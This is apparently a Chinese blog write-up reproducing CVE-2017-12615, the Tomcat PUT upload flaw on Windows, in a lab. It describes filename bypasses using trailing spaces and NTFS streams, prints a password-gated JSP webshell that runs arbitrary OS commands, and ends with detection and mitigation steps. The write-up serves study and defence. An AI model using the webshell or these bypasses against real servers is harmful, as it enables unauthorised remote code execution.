Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)
CVE2017-12615漏洞复现( tomcat JSP Upload Bypass /Remote Code Execution)
一、漏洞原理
在windows服务器下,将readonly参数设置为false时,即可通过PUT方式创建一个jsp文件,并可以执行任意代码。Tomcat版本内web.xml配置内无readonly,需要手工添加,默认配置不受此影响。
二、影响版本
Apache Tomcat 7.0.0-7.0.79(Windows环境下)
三、漏洞利用条件
- 目标是windows环境
- 目标tomcat的版本7.0.0-7.0.79
- 管理员配置不当,设置了readonly,并且其值为false
- 上传目标的地方具有写入权限
四、环境搭建
Java环境(jdk 1.7)
Tomcat环境(tomcat 7.0.70)
五、漏洞复现
1.测试tomcat环境
2.修改web.xml,tomcat版本内web.xml默认没有readonly,首要手工添加,将readonly参数设置为false时,然后就能通过PUT方式创建一个jsp文件,并可以执行任意代码。
3.搜索漏洞库,根据poc说明验证漏洞的存在
4.启动tomcat,burp抓包,利用PUT请求创建文件,上传内容后,发现上传失败,提示404
5.根据漏洞描述中windows环境受影响,可以尝试利用windows的特性(文件名不能以空格结尾,NTFS文件流)来绕过限制
5.1利用文件名不能为空格,在文件名后加空格上传文件,上传失败,提示403
5.2提示403,一般可能是因为上传的目标文件夹没有写入权限。查看权限发现目标没有写入权限。
5.3给目标文件夹加入写入权限,然后测试
5.4浏览器访问上传的文件
5.5尝试NTFS文件流,成功上传
5.6浏览器测试
5.7构造特殊后缀名绕过tomcat检测
6.通过以上poc可以证明目标存在文件上传漏洞,上传jsp一句话木马
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
7.浏览器访问构造参数,下图可以说明目标存在远程代码执行漏洞
六、漏洞分析总结
- 通过以上分析可以得出,这个漏洞的利用的前提条件很多,需要目标是windows环境,需要管理员错误配置开启readonly并且设置其值为false等等,漏洞危害性一般。
七、检测与防御
检测:查看是否开启readonly以及是否启用了PUT方法。
防御:
- 禁用PUT方法
- 设置readonly值为True
- 升级到最新版本
Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)的更多相关文章
- 17.[CVE-2017-12615]Tomcat任意文件上传漏洞
[CVE-2017-12615] Tomcat任意文件上传漏洞 首先先贴出wooyun上的一个案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0 ...
- WEB安全性测试之文件上传漏洞
1.漏洞描述:文件上传漏洞,是指可以利用WEB上传一些特定的文件包含特定代码如(<?php phpnfo;?> 可以用于读取服务器配置信息.上传成功后可以点击) 上传漏洞是指用户上传了一个 ...
- 【原创】JEECMS v6~v7任意文件上传漏洞(1)
文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定 ...
- web安全之文件上传漏洞
成因: 当文件上传时,若服务端脚本语言未对上传的文件进行严格验证和过滤,若恶意用户上传恶意的 脚本文件时,就有可能控制整个网站甚至是服务器,这就是文件上传漏洞. 权限: 1. 后台权限:登陆了后台,可 ...
- 中国电信某站点JBOSS任意文件上传漏洞
1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...
- 上传漏洞总结-upload-labs
介绍: Upload-labs是一个所有类型的上传漏洞的靶场 项目地址:https://github.com/c0ny1/upload-labs 思维导图: 小试牛刀: Pass-01 客户端js检查 ...
- DVWA 黑客攻防演练(五)文件上传漏洞 File Upload
说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映 ...
- kindeditor<=4.1.5 文件上传漏洞利用
kindeditor<=4.1.5 文件上传漏洞 - Kindeditor <=4.1.5 file upload vulnerability and use 漏洞存影响版本:小于等于4. ...
- 初级安全入门—— WEBshell与文件上传漏洞
概念介绍 WebShell网页木马文件 最常见利用文件上传漏洞的方法就是上传网站木马(WebShell)文件,根据开发语言的不同又分为ASP木马.PHP木马.JSP木马等,该木马利用了脚本语言中的系统 ...
随机推荐
- 前端之jquery1
jquery介绍 jQuery是目前使用最广泛的javascript函数库.据统计,全世界排名前100万的网站,有46%使用jQuery,远远超过其他库.微软公司甚至把jQuery作为他们的官方库. ...
- python数据挖掘之数据探索第一篇
目录 数据质量分析 当我们得到数据后,接下来就是要考虑样本数据集的数据和质量是否满足建模的要求?是否出现不想要的数据?能不能直接看出一些规律或趋势?每个因素之间的关系是什么? 通过检验数据集的 ...
- map元素area热区坐标自适应窗口大小
业务需求:点击图片热区跳转到不同的链接地址,同时要自适应窗口尺寸的变化. 问题:热区坐标点不会随着窗口调整变化 解决思路:获取初始的坐标点与图片宽高的比例,然后用比例乘以调整后的窗口宽高,就获得了新的 ...
- Android多module下重复jar包问题
版权声明:本文为xing_star原创文章,转载请注明出处! 本文同步自http://javaexception.com/archives/166 Android多module下重复jar包问题 An ...
- Docker安装并运行mysql5.6数据库
1.在/home目录下新建mysql目录 mysql目录中新建三个目录:conf目录.logs目录.data目录,建这些目录的目的是用来挂载docker中的mysql下的目录的. 结果如下: 1.1. ...
- 在ubuntu15.10上编译arm-linux环境使用的log4c步骤
步骤: 1.下载log4c源码 2.解压源码包,我解压后的路径是:/home/cc/Downloads/log4c-1.2.4 3.执行以下shell脚本: #!/bin/sh mkdir /home ...
- [Go] 利用channel实现简单的工作池
先启动固定数量的goroutine,每个goroutine都在从channel中获取数据,如果这个channel为空,就阻塞等待在那里channel中传递一个Car类型,这个类型主要负责具体做的任务也 ...
- Linux下环境变量(.bash_profile和.bashrc的区别)
在linux系统下,如果下载并安装了应用程序,在启动时很有可能在键入它的名称时出现"command not found"的提示内容.如果每次都到安装目标文件夹内,找到可执行文件来进 ...
- 5-2可视化库Seaborn-调色板
In [1]: import numpy as np import seaborn as sns import matplotlib.pyplot as plt %matplotlib inline ...
- unity_animator_stop_replay(重新播放)
对于一个Animation重复播放,但在隐藏后,再次显示播放会出现有些属性未复原 问题描述 特效同事给的Animation中更改了物体的很多属性,如Active,Alpha, Scale,Positi ...